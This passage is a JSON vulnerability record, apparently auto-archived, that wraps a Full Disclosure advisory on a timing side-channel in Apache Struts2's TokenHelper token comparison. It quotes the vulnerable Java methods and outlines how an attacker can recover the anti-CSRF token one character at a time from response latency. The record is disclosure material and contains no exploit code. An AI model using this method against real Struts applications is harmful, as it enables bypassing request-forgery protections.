"value": "Description\nThe Apache Struts2 Core 7.4.0 and below performs session token comparisons cryptographically insecure early-exit \ncomparison functions (e.g., `!=`, `memcmp`, byte-by-byte loops with `break`) that return as soon as the first \nmismatched byte is encountered. The execution time of the comparison is therefore proportional to the number of \nleading bytes that match, creating a measurable timing side-channel. Importantly, this side-channel has been \ndynamically verified and exploited across networks using modern techniques that reduce/factor out latency.\n\nImpact\nAttackers can measure response latency, iteratively determining the correct value of the hash or secret one byte at a \ntime, reducing the attack complexity from `36^n`, where `n` is the number of bytes in the secret. While, in the ideal \ncircumstance, the complexity of a pure brute-force attack would be `2^165` since the system is using a 165-bit \nBigInteger, the conversion from BigInteger to an A-Z0-9 string does not map cleanly -- the resulting string, itself, \ncan actually be 31 or 32 characters long and bytes don\u0027t simply slot into a given character or position, thus requiring \nthe greater `36^32` brute-force. With that said, in a system where lag can be injected, latency reduced or factored \nout, the theoretical floor move from the worst case `36^32` to `36*32` (1,152 requests). Of course, since the string \nlength can vary by one, attackers must first determine the string length, which can be done via two requests -- one \nwith each length -- a trivial addition to the worst case mentioned above but worth noting.\n\nSuccessful exploitation enables bypassing the `TokenHelper`-generated token, which is designed to \"[s]top \ndouble-submission of forms\" and may be used by information systems as a nonce as part of cross-site request forgery \nprotections.\n\nExamples\nSample Code\n`TokenHelper.validToken()`, leveraged by both `TokenInterceptor.handleToken(ActionInvocation)` and \n`TokenSessionStoreInterceptor.handleToken(ActionInvocation)`, utilises the cryptographically insecure, early-exiting \n`String.equals(String)` method to compare the in-session token against the user-provided token.\n\n```java\n /**\n * Checks for a valid transaction token in the current request params. If a valid token is found, it is\n * removed so the it is not valid again.\n *\n * @return false if there was no token set into the params (check by looking for {@link #TOKEN_NAME_FIELD}), true \nif a valid token is found\n */\n public static boolean validToken() {\n String tokenName = getTokenName();\n\n if (tokenName == null) {\n LOG.debug(\"No token name found -\u003e Invalid token \");\n return false;\n }\n\n String token = getToken(tokenName);\n\n if (token == null) {\n LOG.debug(\"No token found for token name {} -\u003e Invalid token \", normalizeSpace(tokenName));\n return false;\n }\n\n Map session = ActionContext.getContext().getSession();\n String tokenSessionName = buildTokenSessionAttributeName(tokenName);\n String sessionToken = (String) session.get(tokenSessionName);\n\n if (!token.equals(sessionToken)) {\n if (LOG.isWarnEnabled()) {\n LocalizedTextProvider localizedTextProvider = \nActionContext.getContext().getContainer().getInstance(LocalizedTextProvider.class);\n LOG.warn(localizedTextProvider.findText(TokenHelper.class, \"struts.internal.invalid.token\", \nActionContext.getContext().getLocale(), \"Form token {0} does not match the expected session token.\", new Object[]{\n normalizeSpace(token)\n }));\n }\n Dispatcher dispatcher = Dispatcher.getInstance();\n if (dispatcher != null \u0026\u0026 dispatcher.isDevMode()) {\n LOG.warn(\"Token mismatch detail - token name [{}], form token [{}], session token [{}]\",\n normalizeSpace(tokenName), normalizeSpace(token), sessionToken);\n }\n\n return false;\n }\n\n // remove the token so it won\u0027t be used again\n session.remove(tokenSessionName);\n ActionContext.getContext().put(VALIDATED_TOKEN_KEY, new ValidatedToken(tokenName, token));\n\n return true;\n }\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/util/TokenHelper.java, lines 164-210\n\n```java\n protected String handleToken(ActionInvocation invocation) throws Exception {\n //see WW-2902: we need to use the real HttpSession here, as opposed to the map\n //that wraps the session, because a new wrap is created on every request\n HttpSession session = ServletActionContext.getRequest().getSession(true);\n synchronized (session.getId().intern()) {\n if (!TokenHelper.validToken()) {\n return handleInvalidToken(invocation);\n }\n }\n return handleValidToken(invocation);\n }\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/TokenInterceptor.java, lines 140-150, \nshowing the interceptor calling for token validation -- note, too, the improper, unsafe synchronisation on \n`session.getId().intern()`, though that is a separate finding with a separate write-up\n\n```java\n @Override\n protected String handleToken(ActionInvocation invocation) throws Exception {\n //see WW-2902: we need to use the real HttpSession here, as opposed to the map\n //that wraps the session, because a new wrap is created on every request\n HttpSession session = ServletActionContext.getRequest().getSession(true);\n synchronized (session.getId().intern()) {\n if (!TokenHelper.validToken()) {\n return handleInvalidToken(invocation);\n }\n return handleValidToken(invocation);\n }\n }\n```\nCode from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/TokenSessionStoreInterceptor.java, lines \n104-115, showing the interceptor calling for token validation -- note, too, the improper, unsafe synchronisation on \n`session.getId().intern()`, though that is a separate finding with a separate write-up\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T09:47:23Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/6"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/6"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/6"
],
"discovery": "EXTERNAL"
},
"title": "Apache Struts2 Core TokenHelper Token Cryptographic Timing Side-Channel",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0531",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/6",
"automated": true,
"contentSha256": "044200c139b8cd0f5d7295ea756dda08f09367d31f08f0c057f69133a4d8b66c",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/6",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-31T21:21:13Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T09:47:23Z",
"dateUpdated": "2026-11-02T09:47:23Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0531"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}